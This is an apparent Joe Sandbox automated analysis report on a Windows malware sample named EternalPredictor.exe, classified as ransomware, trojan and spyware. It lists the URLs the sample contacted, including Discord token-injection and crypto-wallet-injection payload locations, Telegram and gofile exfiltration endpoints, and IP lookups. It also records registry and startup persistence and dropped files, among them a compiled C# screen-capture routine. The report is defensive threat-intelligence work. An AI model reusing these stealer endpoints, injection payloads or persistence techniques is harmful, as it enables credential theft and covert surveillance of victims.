https://www.reddit.com/	program.exe, 00000008.00000003.1638117750.00000237A58EF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	eternal.exe, 00000002.00000002.3208274696.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1689641102.00000239835C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.1693664914.000001F880001000.00000004.00000800.00020000.00000000.sdmp	false
https://www.amazon.ca/	program.exe, 00000008.00000003.1638117750.00000237A58EF000.00000004.00000020.00020000.00000000.sdmp	false
https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename	program.exe, 00000008.00000002.1938239957.00000237A4200000.00000004.00001000.00020000.00000000.sdmp	false
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy	program.exe, 00000008.00000002.1941021680.00000237A50E0000.00000004.00001000.00020000.00000000.sdmp	false
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	program.exe, 00000008.00000002.1938239957.00000237A4284000.00000004.00001000.00020000.00000000.sdmp	false
https://www.ebay.co.uk/	program.exe, 00000008.00000002.1939908324.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1728396293.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/hackirby/wallets-injection/raw/main/atomic.asarhttps://github.com/hackirby/wallet	skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, SecurityHealthSystray.exe, 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	false
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000033.00000002.1693664914.000001F881910000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000014.00000002.1689641102.00000239837E9000.00000004.00000800.00020000.00000000.sdmp	false
https://www.ebay.de/	program.exe, 00000008.00000003.1638117750.00000237A58EF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp	false
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000033.00000002.1693664914.000001F881910000.00000004.00000800.00020000.00000000.sdmp	false
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code	program.exe, 00000008.00000002.1938239957.00000237A4200000.00000004.00001000.00020000.00000000.sdmp	false
https://go.micro	powershell.exe, 00000033.00000002.1693664914.000001F880ED8000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l	program.exe, 00000008.00000003.1601019406.00000237A4EBC000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	program.exe, 00000008.00000002.1938022235.00000237A29C7000.00000004.00000020.00020000.00000000.sdmp	false
https://www.amazon.com/	program.exe, 00000008.00000002.1941288303.00000237A5300000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1638117750.00000237A58EF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1939908324.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1728396293.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/python/cpython/issues/86361.	program.exe, 00000008.00000002.1938769127.00000237A4838000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1550346820.00000237A4819000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1550188976.00000237A4C8B000.00000004.00000020.00020000.00000000.sdmp	false
https://contoso.com/Icon	powershell.exe, 00000033.00000002.1831279300.000001F89007B000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	program.exe, 00000008.00000003.1743204693.00000237A58BC000.00000004.00000020.00020000.00000000.sdmp	false
https://httpbin.org/	program.exe, 00000008.00000003.1589347367.00000237A4E16000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	false
https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module	program.exe, 00000008.00000002.1938239957.00000237A4200000.00000004.00001000.00020000.00000000.sdmp	false
https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches	program.exe, 00000008.00000002.1938239957.00000237A4200000.00000004.00001000.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	program.exe, 00000008.00000003.1743204693.00000237A58BC000.00000004.00000020.00020000.00000000.sdmp	false
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	program.exe, 00000008.00000003.1592258018.00000237A587E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1601019406.00000237A4EBC000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1578204766.00000237A4E82000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1578004060.00000237A587E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1595529292.00000237A587E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1589347367.00000237A4E16000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1599043044.00000237A4EBC000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1580291828.00000237A587E000.00000004.00000020.00020000.00000000.sdmp	false
https://www.youtube.com/	program.exe, 00000008.00000002.1939908324.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1728396293.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp	false
https://allegro.pl/	program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp	false
https://github.com/Pester/Pester	powershell.exe, 00000033.00000002.1693664914.000001F881910000.00000004.00000800.00020000.00000000.sdmp	false
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	program.exe, 00000008.00000002.1939236456.00000237A4AE0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1939236456.00000237A4D18000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	program.exe, 00000008.00000002.1938022235.00000237A29C7000.00000004.00000020.00020000.00000000.sdmp	false
https://MD8.mozilla.org/1/m	program.exe, 00000008.00000002.1947748964.00000237A5906000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1747910715.00000237A5906000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A536C000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1715550482.00000237A5906000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1663641819.00000237A5906000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1936233267.00000237A5906000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1638117750.00000237A5906000.00000004.00000020.00020000.00000000.sdmp	false
https://api.telegram.org/botP	program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	false
https://packaging.python.org/en/latest/specifications/core-metadata/#core-metadata	program.exe, 00000008.00000002.1941021680.00000237A50E0000.00000004.00001000.00020000.00000000.sdmp	false
https://www.bbc.co.uk/	program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp	false
https://bugzilla.mo	program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp	false
https://github.com/python/importlib_metadata/wiki/Development-Methodology	program.exe, 00000008.00000002.1941153188.00000237A51F0000.00000004.00001000.00020000.00000000.sdmp	false
http://tools.ietf.org/html/rfc6125#section-6.4.3	program.exe, 00000008.00000002.1941153188.00000237A51F0000.00000004.00001000.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000014.00000002.1689641102.00000239837E9000.00000004.00000800.00020000.00000000.sdmp	false
https://google.com/mail	program.exe, 00000008.00000002.1938769127.00000237A47E8000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1938588123.00000237A4503000.00000004.00000020.00020000.00000000.sdmp	false
https://packaging.python.org/specifications/entry-points/	program.exe, 00000008.00000002.1941153188.00000237A51F0000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000002.1940908423.00000237A4FE0000.00000004.00001000.00020000.00000000.sdmp	false
https://raw.githubusercontent.com/hackirby/discord-injection/main/injection.js1157920892103562487626	skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, SecurityHealthSystray.exe, 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	false
https://www.python.org/psf/license/)	program.exe, 00000008.00000002.1953128317.00007FFBAA8E8000.00000040.00000001.01000000.0000000A.sdmp	false
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	program.exe, 00000008.00000002.1938022235.00000237A29C7000.00000004.00000020.00020000.00000000.sdmp	false
https://www.google.com/	program.exe, 00000008.00000002.1941288303.00000237A537C000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000002.1939908324.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1653852125.00000237A5815000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1728396293.00000237A4DD3000.00000004.00000020.00020000.00000000.sdmp	false
https://www.iqiyi.com/	program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp	false
https://foss.heptapod.net/pypy/pypy/-/issues/3539	program.exe, 00000008.00000002.1940797595.00000237A4EE0000.00000004.00001000.00020000.00000000.sdmp	false
https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.	program.exe, 00000008.00000002.1938769127.00000237A46E0000.00000004.00000020.00020000.00000000.sdmp	false
http://google.com/	program.exe, 00000008.00000002.1939236456.00000237A4AE0000.00000004.00000020.00020000.00000000.sdmp	false
http://ocsp.sectigo.com0	program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000002.1959967086.00000139887C8000.00000004.00000020.00020000.00000000.sdmp	false
https://tools.ietf.org/html/rfc7231#section-4.3.6)	program.exe, 00000008.00000002.1939236456.00000237A4AE0000.00000004.00000020.00020000.00000000.sdmp	false
http://ip-api.com/json	skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, SecurityHealthSystray.exe, 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	false
https://contoso.com/License	powershell.exe, 00000033.00000002.1831279300.000001F89007B000.00000004.00000800.00020000.00000000.sdmp	false
https://discordapp.com/api/v9/users/	program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	false
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source	program.exe, 00000008.00000002.1938239957.00000237A4284000.00000004.00001000.00020000.00000000.sdmp	false
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	program.exe, 00000008.00000003.1743204693.00000237A58BC000.00000004.00000020.00020000.00000000.sdmp	false
https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec	program.exe, 00000008.00000002.1938239957.00000237A4200000.00000004.00001000.00020000.00000000.sdmp	false
https://github.com/urllib3/urllib3/issues/2920	program.exe, 00000008.00000002.1941153188.00000237A51F0000.00000004.00001000.00020000.00000000.sdmp	false
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	false
https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data	program.exe, 00000008.00000002.1938022235.00000237A29C7000.00000004.00000020.00020000.00000000.sdmp	false
https://yahoo.com/	program.exe, 00000008.00000002.1938769127.00000237A47E8000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1938588123.00000237A4503000.00000004.00000020.00020000.00000000.sdmp	false
https://account.bellmedia.c	program.exe, 00000008.00000003.1715550482.00000237A5914000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1638117750.00000237A5916000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A53F8000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1936233267.00000237A5914000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1743204693.00000237A5914000.00000004.00000020.00020000.00000000.sdmp	false
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	program.exe, 00000008.00000002.1939236456.00000237A4C7B000.00000004.00000020.00020000.00000000.sdmp	false
https://login.microsoftonline.com	program.exe, 00000008.00000003.1715550482.00000237A5914000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1638117750.00000237A5916000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1948709723.00000237A62E4000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1936233267.00000237A5914000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1743204693.00000237A5914000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.thawte.com/ThawteTimestampingCA.crl0	program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	false
https://html.spec.whatwg.org/multipage/	program.exe, 00000008.00000002.1939236456.00000237A4D49000.00000004.00000020.00020000.00000000.sdmp	false
https://www.ifeng.com/	program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp	false
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings	program.exe, 00000008.00000002.1941021680.00000237A50E0000.00000004.00001000.00020000.00000000.sdmp	false
https://www.zhihu.com/	program.exe, 00000008.00000002.1941288303.00000237A53E0000.00000004.00001000.00020000.00000000.sdmp	false
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	program.exe, 00000008.00000003.1743204693.00000237A58BC000.00000004.00000020.00020000.00000000.sdmp	false
https://www.rfc-editor.org/rfc/rfc8259#section-8.1	program.exe, 00000008.00000002.1939236456.00000237A4D49000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1938769127.00000237A46E0000.00000004.00000020.00020000.00000000.sdmp	false
https://contoso.com/	powershell.exe, 00000033.00000002.1831279300.000001F89007B000.00000004.00000800.00020000.00000000.sdmp	false
https://oneget.orgX	powershell.exe, 00000033.00000002.1693664914.000001F881653000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.all	program.exe, 00000008.00000003.1599043044.00000237A4EBC000.00000004.00000020.00020000.00000000.sdmp	false
https://api.gofile.io/getServer	program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	false
https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png	program.exe, 00000008.00000002.1938588123.00000237A4503000.00000004.00000020.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	true
162.159.128.233	discord.com	United States	13335	CLOUDFLARENETUS	false
147.185.221.23	unknown	United States	12087	SALSGIVERUS	true
172.67.74.152	api.ipify.org	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557106
Start date and time:	2024-11-17 11:20:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 16m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	107
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Critical Process Termination
Sample name:	EternalPredictor.exe
Detection:	MAL
Classification:	mal100.rans.troj.adwa.spyw.expl.evad.winEXE@170/58@5/4
EGA Information:	Successful, ratio: 30%
HCA Information:	Successful, ratio: 61% Number of executed functions: 140 Number of non-executed functions: 168
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, SIHClient.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 172.217.16.195
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, gstatic.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target EternalPredictor.exe, PID 2852 because it is empty
Execution Graph export aborted for target SecurityHealthSystray.exe, PID 3948 because it is empty
Execution Graph export aborted for target XClient.exe, PID 6540 because it is empty
Execution Graph export aborted for target XClient.exe, PID 7084 because it is empty
Execution Graph export aborted for target powershell.exe, PID 2212 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7984 because it is empty
Execution Graph export aborted for target skuld.exe, PID 3872 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:21:20	API Interceptor	2x Sleep call for process: WMIC.exe modified
05:21:22	API Interceptor	7687549x Sleep call for process: eternal.exe modified
05:21:25	API Interceptor	142x Sleep call for process: powershell.exe modified
11:21:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Realtek HD Audio Universal Service C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
11:21:24	Task Scheduler	Run new task: XClient path: C:\Users\user\AppData\Roaming\XClient.exe
11:21:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run XClient C:\Users\user\AppData\Roaming\XClient.exe
11:21:40	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Realtek HD Audio Universal Service C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
11:21:49	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run XClient C:\Users\user\AppData\Roaming\XClient.exe
11:21:57	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

Process:	C:\Users\user\Desktop\EternalPredictor.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	true
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\XClient.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\XClient.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	unknown
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\ ? ? \Display (1).png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	448373
Entropy (8bit):	7.925553642784118
Encrypted:	false
SSDEEP:	6144:k5JBrPvEtHK6VxR6r4AIo4PSI6rh3qHDuw3RaD3PxeICSylGnafSC5oUMAWwMF9I:klyPPGpbTpFCStSnRMqa1GLz3ZClW
MD5:	7E8C4FE8EB788DC6AFB97B328DF86A65
SHA1:	42723617EA47C453B5A5E0BE374A407FCE3B3DFD
SHA-256:	3D9EB23038D60B4CE4AF676A5D487A88B14DC8F39450D4C5194427820E14A4F0
SHA-512:	4A5F922419336782FD1B8660BDD75F9240974CCA957329E1720BC28BD547DD1A6226AD25862B6418AB90796C3E111F4C95467547B87A900DBCCD06D40575D1F1
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^....].u...}.z.w..M..{/....?N.....}y..;Nlc....=....q......}/z..v.`....$....}...!.#....~..]g..}..1.QU.f.Zgk..\|..V.v.k...i..&.9..U~.k......j..{.e.....9....~...7"}..x_.d$....5@..U.v.+.......-..G...T..)+6.'..A..^..}'..-....mA..C.~....WP?vY..^S;fiG..=t.?XR.7L.G.4,.......zJ...wE_F.;.........s..[.....gZ.....w@..q.!....+...T..................g.}../...~../.aP......k.....m.g.iI.g\|.>.p....O=...1.~$..h.X>..!.V}.......~`.O._..........B.....O>......../.w....}..(.L..'..G..{C......q\?..c\k..\|..1..xd.q.....~w'4....*6.....q.......J....=..3.N.q......s...........7..P.{A..5?..../.[.i,....=aB.....b..8.b...i.q......X_..m.q...0v.o...=........b.f.......}.K;n..~..nw...w....x?{...}n..v{.c..w.Vlk.....5/1f.x.]KK....g.......Z....[.....'..s........}.nM..\|[....lB..s.y...iq.......v.5.....7B.>.j............5;..q}l5..c....?%^7..)O.g....s..c...m{C.o.s.M.)...q-.t=.16...

C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	4.154581034278981
Encrypted:	false
SSDEEP:	24:Jo4KMz04F03wykl4qk6oAuBGOUBrRmLW+7UCPa:Jo4hz0BAl4xBQ0XQCC
MD5:	C76055A0388B713A1EABE16130684DC3
SHA1:	EE11E84CF41D8A43340F7102E17660072906C402
SHA-256:	8A3CD008E86A3D835F55F8415F5FD264C6DACDF0B7286E6854EA3F5A363390E7
SHA-512:	22D2804491D90B03BB4B640CB5E2A37D57766C6D82CAF993770DCF2CF97D0F07493C870761F3ECEA15531BD434B780E13AE065A1606681B32A77DBF6906FB4E2
Malicious:	false
Reputation:	unknown
Preview:	.using System;..using System.Collections.Generic;..using System.Drawing;..using System.Windows.Forms;....public class Screenshot..{.. public static List<Bitmap> CaptureScreens().. {.. var results = new List<Bitmap>();.. var allScreens = Screen.AllScreens;.... foreach (Screen screen in allScreens).. {.. try.. {.. Rectangle bounds = screen.Bounds;.. using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)).. {.. using (Graphics graphics = Graphics.FromImage(bitmap)).. {.. graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size);.. }.... results.Add((Bitmap)bitmap.Clone());.. }.. }.. catch (Exception).. {.. // Handle any exceptions here.. }.. }.... return results;..

C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (606), with no line terminators
Category:	dropped
Size (bytes):	609
Entropy (8bit):	5.327664507012047
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6KOkuqy776SE71xBkuqTM3RDwA+iM3RLB5CHhJV:p37Lvkmb6KOkqe1xBkrk+ikbNJ+WZEvX
MD5:	A9AE9B66BDE4219B04913CB4FCA08B51
SHA1:	2EC62B5A34C7B165AACE9A64C89D2A53A7739711
SHA-256:	66FEDCC7BB255562CE0A93940D0615A27291A1DE9DAF2CE116503A387BFE62C1
SHA-512:	DD8A3FEF00299408641FE09B03094CBA6869216FDF3DD07D20408090071F6A184B2768E9483EFC7FC3180F378C407B00CBA821F181F503AAA57C8BE5A3424B2D
Malicious:	true
Reputation:	unknown
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.0.cs"

C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.dll

Download File

